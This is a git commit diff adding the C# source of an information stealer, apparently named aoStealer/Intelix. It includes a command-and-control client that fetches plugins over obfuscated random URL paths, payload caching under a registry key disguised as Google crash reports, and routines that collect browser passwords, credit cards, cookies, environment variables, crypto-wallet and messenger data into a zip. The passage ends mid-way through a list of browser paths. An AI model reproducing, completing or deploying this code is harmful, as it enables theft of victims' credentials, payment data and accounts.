commit d03dc0bce16cf8c4a7364b3e53aa8aa2e7826c37 Author: i2p Date: Thu Aug 27 10:55:23 2026 -0600 initial commit diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000..e1347bd Binary files /dev/null and b/.DS_Store differ diff --git a/._CvMega b/._CvMega new file mode 100755 index 0000000..748a4d5 Binary files /dev/null and b/._CvMega differ diff --git a/._Intelix.Helper b/._Intelix.Helper new file mode 100755 index 0000000..748a4d5 Binary files /dev/null and b/._Intelix.Helper differ diff --git a/._Intelix.Targets.Applications b/._Intelix.Targets.Applications new file mode 100755 index 0000000..748a4d5 Binary files /dev/null and b/._Intelix.Targets.Applications differ diff --git a/._Intelix.Targets.Browsers b/._Intelix.Targets.Browsers new file mode 100755 index 0000000..748a4d5 Binary files /dev/null and b/._Intelix.Targets.Browsers differ diff --git a/._Intelix.Targets.Device b/._Intelix.Targets.Device new file mode 100755 index 0000000..748a4d5 Binary files /dev/null and b/._Intelix.Targets.Device differ diff --git a/._Intelix.Targets.Games b/._Intelix.Targets.Games new file mode 100755 index 0000000..748a4d5 Binary files /dev/null and b/._Intelix.Targets.Games differ diff --git a/._Intelix.Targets.Vpn b/._Intelix.Targets.Vpn new file mode 100755 index 0000000..748a4d5 Binary files /dev/null and b/._Intelix.Targets.Vpn differ diff --git a/._Properties b/._Properties new file mode 100755 index 0000000..748a4d5 Binary files /dev/null and b/._Properties differ diff --git a/._aoStealerv35_c6.sln b/._aoStealerv35_c6.sln new file mode 100644 index 0000000..3a9c554 Binary files /dev/null and b/._aoStealerv35_c6.sln differ diff --git a/._bin b/._bin new file mode 100755 index 0000000..748a4d5 Binary files /dev/null and b/._bin differ diff --git a/CvMega.Helper/._MutexControl.cs b/CvMega.Helper/._MutexControl.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/CvMega.Helper/._MutexControl.cs differ diff --git a/CvMega.Helper/Client.cs b/CvMega.Helper/Client.cs new file mode 100644 index 0000000..e09b8bd --- /dev/null +++ b/CvMega.Helper/Client.cs @@ -0,0 +1,92 @@ +using System; +using System.Collections.Generic; +using System.Net.Http; +using System.Text; + +namespace CvMega.Helper; + +internal class Client +{ + public static string currentHost = string.Empty; + + public static byte[] GetPlugin(string name) + { + if (name == "Client") + { + return null; + } + if (RegeditKey.CheckValue("ao" + name)) + { + return SimpleEncryptor.XorEncryptMyKey(Convert.FromBase64String(RegeditKey.GetValue("ao" + name)), 66); + } + byte[] array = SendGet(new Dictionary + { + { "command", "plugin" }, + { "name", name } + }); + if (array == null) + { + return null; + } + RegeditKey.SetValue("ao" + name, Convert.ToBase64String(SimpleEncryptor.XorEncryptMyKey(array, 66))); + return array; + } + + public static byte[] GetResource(string name) + { + if (name == "Client") + { + return null; + } + if (RegeditKey.CheckValue("oa" + name)) + { + return SimpleEncryptor.XorEncryptMyKey(Convert.FromBase64String(RegeditKey.GetValue("ao" + name)), 66); + } + byte[] array = SendGet(new Dictionary + { + { "command", "resource" }, + { "name", name } + }); + if (array == null) + { + return null; + } + RegeditKey.SetValue("ao" + name, Convert.ToBase64String(SimpleEncryptor.XorEncryptMyKey(array, 66))); + return array; + } + + public static string SendGetRequest(Dictionary parameters) + { + byte[] array = SendGet(parameters); + if (array == null) + { + return null; + } + return SimpleEncryptor.Decrypt(Encoding.UTF8.GetString(array)); + } + + public static byte[] SendGet(Dictionary parameters) + { + try + { + using HttpClient httpClient = new HttpClient(); + StringBuilder stringBuilder = new StringBuilder(currentHost + RandomPathGenerator.GenerateCompletelyRandomPath()); + if (parameters.Count > 0) + { + stringBuilder.Append("?"); + foreach (KeyValuePair parameter in parameters) + { + stringBuilder.Append(SimpleEncryptor.Hash(parameter.Key) + "=" + SimpleEncryptor.Encrypt(parameter.Value) + "&"); + } + stringBuilder.Length--; + } + string requestUri = stringBuilder.ToString(); + httpClient.DefaultRequestHeaders.Add("User-Agent", "cvmega"); + return httpClient.GetAsync(requestUri).Result.Content.ReadAsByteArrayAsync().Result; + } + catch + { + return null; + } + } +} diff --git a/CvMega.Helper/MutexControl.cs b/CvMega.Helper/MutexControl.cs new file mode 100644 index 0000000..faea145 --- /dev/null +++ b/CvMega.Helper/MutexControl.cs @@ -0,0 +1,16 @@ +using System.Threading; + +namespace CvMega.Helper; + +public static class MutexControl +{ + public static Mutex currentApp; + + public static bool createdNew; + + public static bool CreateMutex(string mtx) + { + currentApp = new Mutex(initiallyOwned: false, mtx, out createdNew); + return createdNew; + } +} diff --git a/CvMega.Helper/RandomPathGenerator.cs b/CvMega.Helper/RandomPathGenerator.cs new file mode 100644 index 0000000..aed549f --- /dev/null +++ b/CvMega.Helper/RandomPathGenerator.cs @@ -0,0 +1,40 @@ +using System; +using System.Text; + +namespace CvMega.Helper; + +internal class RandomPathGenerator +{ + private static readonly Random random = new Random(); + + private static readonly string chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; + + private static readonly string[] extensions = new string[7] { "", ".txt", ".png", ".jpg", ".html", ".json", "" }; + + public static string GenerateCompletelyRandomPath() + { + int num = random.Next(1, 11); + StringBuilder stringBuilder = new StringBuilder(); + for (int i = 0; i < num; i++) + { + int length = random.Next(3, 20); + stringBuilder.Append('/'); + stringBuilder.Append(GenerateRandomString(length)); + } + if (random.Next(2) == 1) + { + stringBuilder.Append(extensions[random.Next(extensions.Length)]); + } + return stringBuilder.ToString(); + } + + private static string GenerateRandomString(int length) + { + StringBuilder stringBuilder = new StringBuilder(length); + for (int i = 0; i < length; i++) + { + stringBuilder.Append(chars[random.Next(chars.Length)]); + } + return stringBuilder.ToString(); + } +} diff --git a/CvMega.Helper/RegeditKey.cs b/CvMega.Helper/RegeditKey.cs new file mode 100644 index 0000000..f528182 --- /dev/null +++ b/CvMega.Helper/RegeditKey.cs @@ -0,0 +1,60 @@ +using Microsoft.Win32; + +namespace CvMega.Helper; + +internal class RegeditKey +{ + public static string Regkey = "SOFTWARE\\Google\\CrashReports"; + + public static bool CheckValue(string name) + { + using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64)) + { + using RegistryKey registryKey2 = registryKey.CreateSubKey(Regkey, writable: false); + if (registryKey2.GetValue(name) != null) + { + return true; + } + } + return false; + } + + public static void SetValue(string name, string value) + { + using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64); + using RegistryKey registryKey2 = registryKey.CreateSubKey(Regkey, writable: true); + if (CheckValue(name)) + { + registryKey2.DeleteValue(name); + } + registryKey2.SetValue(name, value); + } + + public static string GetValue(string name) + { + if (!CheckValue(name)) + { + return null; + } + using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64); + using RegistryKey registryKey2 = registryKey.CreateSubKey(Regkey, writable: false); + return (string)registryKey2.GetValue(name); + } + + public static string[] GetValues() + { + using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64); + using RegistryKey registryKey2 = registryKey.CreateSubKey(Regkey, writable: false); + return registryKey2.GetValueNames(); + } + + public static void DeleteValue(string name) + { + using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64); + using RegistryKey registryKey2 = registryKey.CreateSubKey(Regkey, writable: true); + if (CheckValue(name)) + { + registryKey2.DeleteValue(name); + } + } +} diff --git a/CvMega.Helper/SimpleEncryptor.cs b/CvMega.Helper/SimpleEncryptor.cs new file mode 100644 index 0000000..971d67c --- /dev/null +++ b/CvMega.Helper/SimpleEncryptor.cs @@ -0,0 +1,59 @@ +using System; +using System.Security.Cryptography; +using System.Text; +using System.Web; + +namespace CvMega.Helper; + +public class SimpleEncryptor +{ + public static readonly string secretKey = "cvls0"; + + public static string Encrypt(string data) + { + return HttpUtility.UrlEncode(Convert.ToBase64String(XorEncrypt(Encoding.UTF8.GetBytes(data)))); + } + + public static string EncryptNonEnc(string data) + { + return Convert.ToBase64String(XorEncrypt(Encoding.UTF8.GetBytes(data))); + } + + public static string Decrypt(string data) + { + return Encoding.UTF8.GetString(XorEncrypt(Convert.FromBase64String(data))); + } + + public static string Hash(string data) + { + using MD5 mD = MD5.Create(); + byte[] array = mD.ComputeHash(Encoding.UTF8.GetBytes(data)); + StringBuilder stringBuilder = new StringBuilder(); + byte[] array2 = array; + foreach (byte b in array2) + { + stringBuilder.Append(b.ToString("x2")); + } + return HttpUtility.UrlEncode(stringBuilder.ToString().Substring(0, 10)); + } + + public static byte[] XorEncryptMyKey(byte[] data, byte key) + { + byte[] array = new byte[data.Length]; + for (int i = 0; i < data.Length; i++) + { + array[i] = (byte)(data[i] ^ key); + } + return array; + } + + public static byte[] XorEncrypt(byte[] dataBytes) + { + byte[] bytes = Encoding.UTF8.GetBytes(secretKey); + for (int i = 0; i < dataBytes.Length; i++) + { + dataBytes[i] ^= bytes[i % bytes.Length]; + } + return dataBytes; + } +} diff --git a/CvMega/.DS_Store b/CvMega/.DS_Store new file mode 100644 index 0000000..5008ddf Binary files /dev/null and b/CvMega/.DS_Store differ diff --git a/Intelix.Helper.Data/._ArchiveStructure.cs b/Intelix.Helper.Data/._ArchiveStructure.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Helper.Data/._ArchiveStructure.cs differ diff --git a/Intelix.Helper.Data/._Counter.cs b/Intelix.Helper.Data/._Counter.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Helper.Data/._Counter.cs differ diff --git a/Intelix.Helper.Data/._InMemoryZip.cs b/Intelix.Helper.Data/._InMemoryZip.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Helper.Data/._InMemoryZip.cs differ diff --git a/Intelix.Helper.Data/._Paths.cs b/Intelix.Helper.Data/._Paths.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Helper.Data/._Paths.cs differ diff --git a/Intelix.Helper.Data/ArchiveStructure.cs b/Intelix.Helper.Data/ArchiveStructure.cs new file mode 100644 index 0000000..92b67fe --- /dev/null +++ b/Intelix.Helper.Data/ArchiveStructure.cs @@ -0,0 +1,29 @@ +using System; +using System.Text; + +namespace Intelix.Helper.Data; + +public class ArchiveStructure +{ + private readonly string _rootFolderName; + + public string RootFolderName => _rootFolderName; + + public ArchiveStructure(string countryCode, string ipAddress, string hwid) + { + DateTime now = DateTime.Now; + string date = now.ToString("yyyy-M-d"); + string time = now.ToString("H_m_s"); + _rootFolderName = $"{countryCode}_{ipAddress}_{date} {time}_{hwid}"; + } + + public string GetPath(string relativePath) + { + if (string.IsNullOrEmpty(relativePath)) + { + return _rootFolderName; + } + return $"{_rootFolderName}/{relativePath}"; + } +} + diff --git a/Intelix.Helper.Data/ConsolidatedFilesGenerator.cs b/Intelix.Helper.Data/ConsolidatedFilesGenerator.cs new file mode 100644 index 0000000..540e5ae --- /dev/null +++ b/Intelix.Helper.Data/ConsolidatedFilesGenerator.cs @@ -0,0 +1,382 @@ +using System; +using System.Collections; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Text.RegularExpressions; + +namespace Intelix.Helper.Data; + +public class ConsolidatedFilesGenerator +{ + public static void GenerateConsolidatedFiles(InMemoryZip zip, Counter counter, string publicIp, string countryCode, string hwid) + { + GeneratePasswordsFile(zip); + GenerateCreditCardsFile(zip); + GenerateUserInformationFile(zip, publicIp, countryCode, hwid); + GenerateEnvironmentFile(zip); + GenerateBruteFile(zip); + GenerateDomainDetectsFile(zip); + GenerateInstalledSoftwareFile(zip); + } + + private static void GeneratePasswordsFile(InMemoryZip zip) + { + List allPasswords = new List(); + + foreach (var entry in zip.GetAllEntries()) + { + if (entry.Key.Contains("Browser/Logins/") && entry.Key.EndsWith(".txt")) + { + try + { + string content = Encoding.UTF8.GetString(entry.Value); + string[] lines = content.Split(new[] { "\n", "\r\n" }, StringSplitOptions.None); + + string fileName = Path.GetFileName(entry.Key); + bool hasData = false; + + for (int i = 0; i < lines.Length; i++) + { + string line = lines[i]; + if (line.StartsWith("URL:") || line.StartsWith("Hostname:")) + { + allPasswords.Add(line); + hasData = true; + } + else if (line.StartsWith("Username:") || line.StartsWith("Password:")) + { + allPasswords.Add(line); + } + else if (string.IsNullOrWhiteSpace(line) && hasData && i < lines.Length - 1 && !string.IsNullOrWhiteSpace(lines[i + 1])) + { + allPasswords.Add("Application: Browser/Logins/" + fileName); + allPasswords.Add("==============="); + hasData = false; + } + } + + if (hasData) + { + allPasswords.Add("Application: Browser/Logins/" + fileName); + allPasswords.Add("==============="); + } + } + catch + { + } + } + } + + if (allPasswords.Count > 0) + { + zip.AddTextFile("Passwords.txt", string.Join("\n", allPasswords)); + } + } + + private static void GenerateCreditCardsFile(InMemoryZip zip) + { + ConcurrentBag allCreditCards = new ConcurrentBag(); + + foreach (var entry in zip.GetAllEntries()) + { + if ((entry.Key.Contains("Browser/Credits/") || entry.Key.Contains("CreditCards/")) && entry.Key.EndsWith(".txt")) + { + try + { + string content = Encoding.UTF8.GetString(entry.Value); + if (!string.IsNullOrWhiteSpace(content)) + { + allCreditCards.Add(content); + } + } + catch + { + } + } + } + + if (allCreditCards.Count > 0) + { + zip.AddTextFile("CreditCards.txt", string.Join("\n\n", allCreditCards)); + } + } + + private static void GenerateUserInformationFile(InMemoryZip zip, string publicIp, string countryCode, string hwid) + { + StringBuilder sb = new StringBuilder(); + DateTime now = DateTime.Now; + + sb.AppendLine($"Log date: {now:dd MMM yy HH:mm} MSK"); + sb.AppendLine("Traffic: src"); + sb.AppendLine($"HWID: {hwid}"); + sb.AppendLine($"Country: {countryCode}"); + sb.AppendLine($"IP: {publicIp}"); + + foreach (var entry in zip.GetAllEntries()) + { + if (entry.Key.Contains("Information.txt")) + { + try + { + string content = Encoding.UTF8.GetString(entry.Value); + string[] lines = content.Split(new[] { "\n", "\r\n" }, StringSplitOptions.None); + + foreach (string line in lines) + { + if (line.Contains("System Language:") || line.Contains("Processor:") || + line.Contains("Installed RAM:") || line.Contains("OS Product:") || + line.Contains("OS Build:") || line.Contains("OS Arch:") || + line.Contains("CPU Name:") || line.Contains("Logical Cores:") || + line.Contains("RAM Total:") || line.Contains("RAM Available:") || + line.Contains("GPU:") || line.Contains("Computer Name:") || + line.Contains("Domain Name:") || line.Contains("MachineID:") || + line.Contains("Product Key:") || line.Contains("User:") || + line.Contains("Machine:") || line.Contains("Now:") || + line.Contains("Input ISO:") || line.Contains("Hwid:") || + line.Contains("Clipboard:") || line.Contains("External IP:") || + line.Contains("Internal IP:") || line.Contains("Default Gateway:") || + line.Contains("User Domain:") || line.Contains("CLR Version:")) + { + string processedLine = line; + if (line.Contains("OS Product:")) + { + processedLine = "Operation System: " + line.Substring(line.IndexOf("OS Product:") + 11).Trim(); + } + else if (line.Contains("OS Build:")) + { + processedLine = "Operation System: " + processedLine; + } + else if (line.Contains("CPU Name:")) + { + processedLine = "Processor: " + line.Substring(line.IndexOf("CPU Name:") + 9).Trim(); + } + else if (line.Contains("Installed RAM:")) + { + processedLine = line.Replace("RAM Total (MB):", "Installed RAM:"); + } + else if (line.Contains("User:")) + { + processedLine = "User Name: " + line.Substring(line.IndexOf("User:") + 5).Trim(); + } + else if (line.Contains("Machine:")) + { + processedLine = "Computer Name: " + line.Substring(line.IndexOf("Machine:") + 8).Trim(); + } + else if (line.Contains("External IP:")) + { + continue; + } + + sb.AppendLine(processedLine); + } + } + } + catch + { + } + break; + } + } + + sb.AppendLine("-------------"); + + zip.AddTextFile("UserInformation.txt", sb.ToString()); + } + + private static void GenerateEnvironmentFile(InMemoryZip zip) + { + StringBuilder sb = new StringBuilder(); + + foreach (DictionaryEntry entry in Environment.GetEnvironmentVariables()) + { + sb.AppendLine($"{entry.Key}={entry.Value}"); + } + + zip.AddTextFile("Environment.txt", sb.ToString()); + } + + private static void GenerateBruteFile(InMemoryZip zip) + { + ConcurrentBag passwords = new ConcurrentBag(); + HashSet uniquePasswords = new HashSet(); + + foreach (var entry in zip.GetAllEntries()) + { + if (entry.Key.Contains("Browser/Logins/") && entry.Key.EndsWith(".txt")) + { + try + { + string content = Encoding.UTF8.GetString(entry.Value); + MatchCollection matches = Regex.Matches(content, @"Password:\s*(.+)", RegexOptions.Multiline); + + foreach (Match match in matches) + { + string password = match.Groups[1].Value.Trim(); + if (!string.IsNullOrEmpty(password) && uniquePasswords.Add(password)) + { + passwords.Add(password); + } + } + } + catch + { + } + } + } + + if (passwords.Count > 0) + { + zip.AddTextFile("Brute.txt", string.Join("\n", passwords)); + } + } + + private static void GenerateDomainDetectsFile(InMemoryZip zip) + { + Dictionary loginDomains = new Dictionary(); + Dictionary cookieDomains = new Dictionary(); + + foreach (var entry in zip.GetAllEntries()) + { + if (entry.Key.Contains("Browser/Logins/") && entry.Key.EndsWith(".txt")) + { + try + { + string content = Encoding.UTF8.GetString(entry.Value); + MatchCollection matches = Regex.Matches(content, @"(?:URL:|Hostname:)\s*(?:https?://)?(?:www\.)?([^/\s]+)", RegexOptions.IgnoreCase); + + foreach (Match match in matches) + { + string domain = match.Groups[1].Value.Trim().ToLower(); + if (!string.IsNullOrEmpty(domain)) + { + if (!loginDomains.ContainsKey(domain)) + { + loginDomains[domain] = 0; + } + loginDomains[domain]++; + } + } + } + catch + { + } + } + else if (entry.Key.Contains("Browser/Cookies/") && entry.Key.EndsWith(".txt")) + { + try + { + string content = Encoding.UTF8.GetString(entry.Value); + MatchCollection matches = Regex.Matches(content, @"(?:\.)?([a-zA-Z0-9][a-zA-Z0-9-]{1,61}[a-zA-Z0-9]?\.[a-zA-Z]{2,})", RegexOptions.IgnoreCase); + + foreach (Match match in matches) + { + string domain = match.Groups[1].Value.Trim().ToLower(); + if (!string.IsNullOrEmpty(domain)) + { + if (!cookieDomains.ContainsKey(domain)) + { + cookieDomains[domain] = 0; + } + cookieDomains[domain]++; + } + } + } + catch + { + } + } + } + + StringBuilder sb = new StringBuilder(); + if (loginDomains.Count > 0) + { + sb.AppendLine("LoginData:"); + int index = 1; + foreach (var domain in loginDomains.OrderByDescending(d => d.Value)) + { + sb.AppendLine($"{index}) [{GetDomainName(domain.Key)}] {domain.Key}({domain.Value})"); + index++; + } + } + + if (cookieDomains.Count > 0) + { + sb.AppendLine("Cookies:"); + int index = 1; + foreach (var domain in cookieDomains.OrderByDescending(d => d.Value)) + { + sb.AppendLine($"{index}) [{GetDomainName(domain.Key)}] {domain.Key}({domain.Value})"); + index++; + } + } + + if (sb.Length > 0) + { + zip.AddTextFile("DomainDetects.txt", sb.ToString()); + } + } + + private static string GetDomainName(string domain) + { + string[] parts = domain.Split('.'); + if (parts.Length >= 2) + { + return parts[parts.Length - 2]; + } + return domain; + } + + private static void GenerateInstalledSoftwareFile(InMemoryZip zip) + { + foreach (var entry in zip.GetAllEntries()) + { + if (entry.Key.Contains("InstalledSoftware.txt")) + { + try + { + string content = Encoding.UTF8.GetString(entry.Value); + string[] lines = content.Split(new[] { "\n", "\r\n" }, StringSplitOptions.RemoveEmptyEntries); + + List formattedLines = new List(); + int index = 1; + + foreach (string line in lines) + { + if (line.Contains(" | ") && !line.StartsWith("Name") && !line.Contains("---")) + { + string[] parts = line.Split(new[] { " | " }, StringSplitOptions.None); + if (parts.Length >= 3) + { + string name = parts[0].Trim(); + string path = parts[1].Trim(); + string version = parts[2].Trim(); + + string publisher = "Unknown"; + if (parts.Length > 3) + { + publisher = parts[3].Trim(); + } + + formattedLines.Add($"{index}) {name} [{version}] - {publisher}"); + index++; + } + } + } + + if (formattedLines.Count > 0) + { + zip.AddTextFile("InstalledSoftware.txt", string.Join("\n", formattedLines)); + } + } + catch + { + } + break; + } + } + } +} + diff --git a/Intelix.Helper.Data/Counter.cs b/Intelix.Helper.Data/Counter.cs new file mode 100644 index 0000000..b53dd03 --- /dev/null +++ b/Intelix.Helper.Data/Counter.cs @@ -0,0 +1,194 @@ +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using Intelix.Helper.Encrypted; + +namespace Intelix.Helper.Data; + +public class Counter +{ + public class CounterBrowser + { + public string Profile; + + public string BrowserName; + + public ConcurrentLong Cookies; + + public ConcurrentLong Password; + + public ConcurrentLong CreditCards; + + public ConcurrentLong AutoFill; + + public ConcurrentLong RestoreToken; + + public ConcurrentLong MaskCreditCard; + + public ConcurrentLong MaskedIban; + } + + public class CounterApplications + { + public string Name; + + public ConcurrentBag Files = new ConcurrentBag(); + } + + public ConcurrentBag FilesGrabber = new ConcurrentBag(); + + public ConcurrentBag CryptoDesktop = new ConcurrentBag(); + + public ConcurrentBag CryptoChromium = new ConcurrentBag(); + + public ConcurrentBag Browsers = new ConcurrentBag(); + + public ConcurrentBag Applications = new ConcurrentBag(); + + public ConcurrentBag Vpns = new ConcurrentBag(); + + public ConcurrentBag Games = new ConcurrentBag(); + + public ConcurrentBag Messangers = new ConcurrentBag(); + + public void Collect(InMemoryZip zip) + { + List list = new List(); + list.Add("\r\n \r\n __ __ _ \r\n \\ \\/ /___ _ __ (_)_ _ _ __ ___ \r\n \\ // _ \\| '__|| | | | | '_ ` _ \\ \r\n / \\ (_) | | | | |_| | | | | | |\r\n /_/\\_\\___/|_| |_|\\__,_|_| |_| |_|\r\n "); + list.Add(" Developer @aesxor"); + list.Add(""); + List masterKeys = LocalState.GetMasterKeys(); + if (masterKeys.Count() > 0) + { + list.Add(string.Format("[Keys] [--{0}--] [{1}]", masterKeys.Count(), string.Join(", ", masterKeys.Select((string[] k) => Paths.GetBrowserName(k[0])).Distinct()))); + foreach (string[] item in masterKeys) + { + list.Add(" [" + Paths.GetBrowserName(item[0]) + " " + item[1] + "] " + item[2]); + } + list.Add(""); + } + if (Browsers.Count() > 0) + { + list.Add(string.Format("[Browsers] [--{0}--] [{1}]", Browsers.Count(), string.Join(", ", Browsers.Select((CounterBrowser b) => b.BrowserName).ToArray()))); + foreach (CounterBrowser browser in Browsers) + { + list.Add(" - " + browser.Profile); + if ((long)browser.Cookies != 0L) + { + list.Add($" [Cookies {(long)browser.Cookies}]"); + } + if ((long)browser.Password != 0L) + { + list.Add($" [Passwords {(long)browser.Password}]"); + } + if ((long)browser.CreditCards != 0L) + { + list.Add($" [CreditCards {(long)browser.CreditCards}]"); + } + if ((long)browser.AutoFill != 0L) + { + list.Add($" [AutoFill {(long)browser.AutoFill}]"); + } + if ((long)browser.RestoreToken != 0L) + { + list.Add($" [RestoreToken {(long)browser.RestoreToken}]"); + } + if ((long)browser.MaskCreditCard != 0L) + { + list.Add($" [MaskCreditCard {(long)browser.MaskCreditCard}]"); + } + if ((long)browser.MaskedIban != 0L) + { + list.Add($" [MaskedIban {(long)browser.MaskedIban}]"); + } + list.Add(""); + } + list.Add(""); + } + if (Applications.Count() > 0) + { + list.Add(string.Format("[Applications] [--{0}--] [{1}]", Applications.Count(), string.Join(", ", Applications.Select((CounterApplications b) => b.Name).ToArray()))); + foreach (CounterApplications application in Applications) + { + list.Add(" [Name " + application.Name + "]"); + foreach (string item2 in application.Files.Reverse()) + { + list.Add(" - " + item2); + } + list.Add(""); + } + list.Add(""); + } + if (Games.Count() > 0) + { + list.Add(string.Format("[Games] [--{0}--] [{1}]", Games.Count(), string.Join(", ", Games.Select((CounterApplications b) => b.Name).ToArray()))); + foreach (CounterApplications game in Games) + { + list.Add(" [Name " + game.Name + "]"); + foreach (string item3 in game.Files.Reverse()) + { + list.Add(" - " + item3); + } + list.Add(""); + } + list.Add(""); + } + if (Messangers.Count() > 0) + { + list.Add(string.Format("[Messangers] [--{0}--] [{1}]", Messangers.Count(), string.Join(", ", Messangers.Select((CounterApplications b) => b.Name).ToArray()))); + foreach (CounterApplications messanger in Messangers) + { + list.Add(" [Name " + messanger.Name + "]"); + foreach (string item4 in messanger.Files.Reverse()) + { + list.Add(" - " + item4); + } + list.Add(""); + } + list.Add(""); + } + if (Vpns.Count() > 0) + { + list.Add(string.Format("[Vpns] [--{0}--] [{1}]", Vpns.Count(), string.Join(", ", Vpns.Select((CounterApplications b) => b.Name).ToArray()))); + foreach (CounterApplications vpn in Vpns) + { + list.Add(" [Name " + vpn.Name + "]"); + foreach (string item5 in vpn.Files.Reverse()) + { + list.Add(" - " + item5); + } + list.Add(""); + } + list.Add(""); + } + if (CryptoChromium.Count() > 0) + { + list.Add($"[CryptoChromium] [--{CryptoChromium.Count()}--]"); + foreach (string item6 in CryptoChromium) + { + list.Add(" - " + item6); + } + list.Add(""); + } + if (CryptoDesktop.Count() > 0) + { + list.Add($"[CryptoDesktop] [--{CryptoDesktop.Count()}--]"); + foreach (string item7 in CryptoDesktop) + { + list.Add(" - " + item7); + } + list.Add(""); + } + if (FilesGrabber.Count() > 0) + { + list.Add($"[FilesGrabber] [--{FilesGrabber.Count()}--]"); + foreach (string item8 in FilesGrabber) + { + list.Add(" - " + item8); + } + list.Add(""); + } + zip.AddTextFile("IntelIX.txt", string.Join("\n", list)); + } +} diff --git a/Intelix.Helper.Data/InMemoryZip.cs b/Intelix.Helper.Data/InMemoryZip.cs new file mode 100644 index 0000000..56d85f8 --- /dev/null +++ b/Intelix.Helper.Data/InMemoryZip.cs @@ -0,0 +1,156 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.IO.Compression; +using System.Text; + +namespace Intelix.Helper.Data; + +public sealed class InMemoryZip : IDisposable +{ + private readonly ConcurrentDictionary _entries = new ConcurrentDictionary(StringComparer.OrdinalIgnoreCase); + + private readonly object _buildLock = new object(); + + private bool _disposed; + private string _rootFolderPrefix = string.Empty; + + public int Count => _entries.Count; + + public void SetRootFolderPrefix(string prefix) + { + if (string.IsNullOrEmpty(prefix)) + { + _rootFolderPrefix = string.Empty; + } + else + { + _rootFolderPrefix = NormalizeEntryName(prefix) + "/"; + } + } + + private static string NormalizeEntryName(string name) + { + if (string.IsNullOrWhiteSpace(name)) + { + throw new ArgumentException("Entry name is null or empty", "name"); + } + name = name.Replace('\\', '/').Trim('/'); + if (name.Length != 0) + { + return name; + } + throw new ArgumentException("Invalid entry name", "name"); + } + + private string ApplyRootPrefix(string entryPath) + { + if (string.IsNullOrEmpty(_rootFolderPrefix)) + { + return entryPath; + } + string normalized = NormalizeEntryName(entryPath); + if (normalized.StartsWith(_rootFolderPrefix, StringComparison.OrdinalIgnoreCase)) + { + return normalized; + } + return _rootFolderPrefix + normalized; + } + + public void AddFile(string entryPath, byte[] content) + { + if (_disposed) + { + throw new ObjectDisposedException("InMemoryZip"); + } + if (content != null && content.Length != 0) + { + string key = ApplyRootPrefix(entryPath); + byte[] copy = new byte[content.Length]; + Buffer.BlockCopy(content, 0, copy, 0, content.Length); + _entries.AddOrUpdate(key, copy, (string text, byte[] old) => copy); + } + } + + public void AddTextFile(string entryPath, string text) + { + if (!string.IsNullOrEmpty(text)) + { + AddFile(entryPath, Encoding.UTF8.GetBytes(text)); + } + } + + public void AddDirectoryFiles(string sourceDirectory, string targetEntryDirectory = "", bool recursive = true) + { + if (_disposed) + { + throw new ObjectDisposedException("InMemoryZip"); + } + if (string.IsNullOrEmpty(sourceDirectory)) + { + throw new ArgumentException("sourceDirectory"); + } + if (!Directory.Exists(sourceDirectory)) + { + return; + } + SearchOption searchOption = (recursive ? SearchOption.AllDirectories : SearchOption.TopDirectoryOnly); + string[] files = Directory.GetFiles(sourceDirectory, "*", searchOption); + foreach (string text in files) + { + string text2 = text.Substring(sourceDirectory.Length).TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar); + string text3 = (string.IsNullOrEmpty(targetEntryDirectory) ? text2 : Path.Combine(targetEntryDirectory, text2)); + text3 = text3.Replace('\\', '/'); + try + { + byte[] content = File.ReadAllBytes(text); + AddFile(text3, content); + } + catch + { + } + } + } + + public byte[] ToArray(CompressionLevel compression = CompressionLevel.Fastest) + { + if (_disposed) + { + throw new ObjectDisposedException("InMemoryZip"); + } + lock (_buildLock) + { + using MemoryStream memoryStream = new MemoryStream(); + using (ZipArchive zipArchive = new ZipArchive(memoryStream, ZipArchiveMode.Create, leaveOpen: true, Encoding.UTF8)) + { + foreach (KeyValuePair entry in _entries) + { + using Stream stream = zipArchive.CreateEntry(entry.Key, compression).Open(); + byte[] value = entry.Value; + stream.Write(value, 0, value.Length); + } + } + return memoryStream.ToArray(); + } + } + + public IEnumerable> GetAllEntries() + { + return _entries; + } + + public void Clear() + { + _entries.Clear(); + } + + public void Dispose() + { + if (!_disposed) + { + _disposed = true; + _entries.Clear(); + } + } +} diff --git a/Intelix.Helper.Data/Paths.cs b/Intelix.Helper.Data/Paths.cs new file mode 100644 index 0000000..315419b --- /dev/null +++ b/Intelix.Helper.Data/Paths.cs @@ -0,0 +1,121 @@ +using System; +using System.IO; + +namespace Intelix.Helper.Data; + +public static class Paths +{ + public static string appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); + + public static string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); + + public static string[] Discord = new string[4] + { + appdata + "\\discord", + appdata + "\\discordcanary", + appdata + "\\Lightcord", + appdata + "\\discordptb" + }; + + public static string[] Chromium = new string[66] + { + appdata + "\\Lulumi-browser", + appdata + "\\kingpinbrowser", + appdata + "\\Falkon\\Profiles", + appdata + "\\Hola\\chromium_profile", + appdata + "\\Opera Software\\Opera Stable", + appdata + "\\Opera Software\\Opera GX Stable", + localappdata + "\\Battle.net", + localappdata + "\\GhostBrowser", + localappdata + "\\ColibriBrowser", + localappdata + "\\Min\\User Data", + localappdata + "\\Coowon\\Coowon", + localappdata + "\\Uran\\User Data", + localappdata + "\\Kinza\\User Data", + localappdata + "\\Blisk\\User Data", + localappdata + "\\Xvast\\User 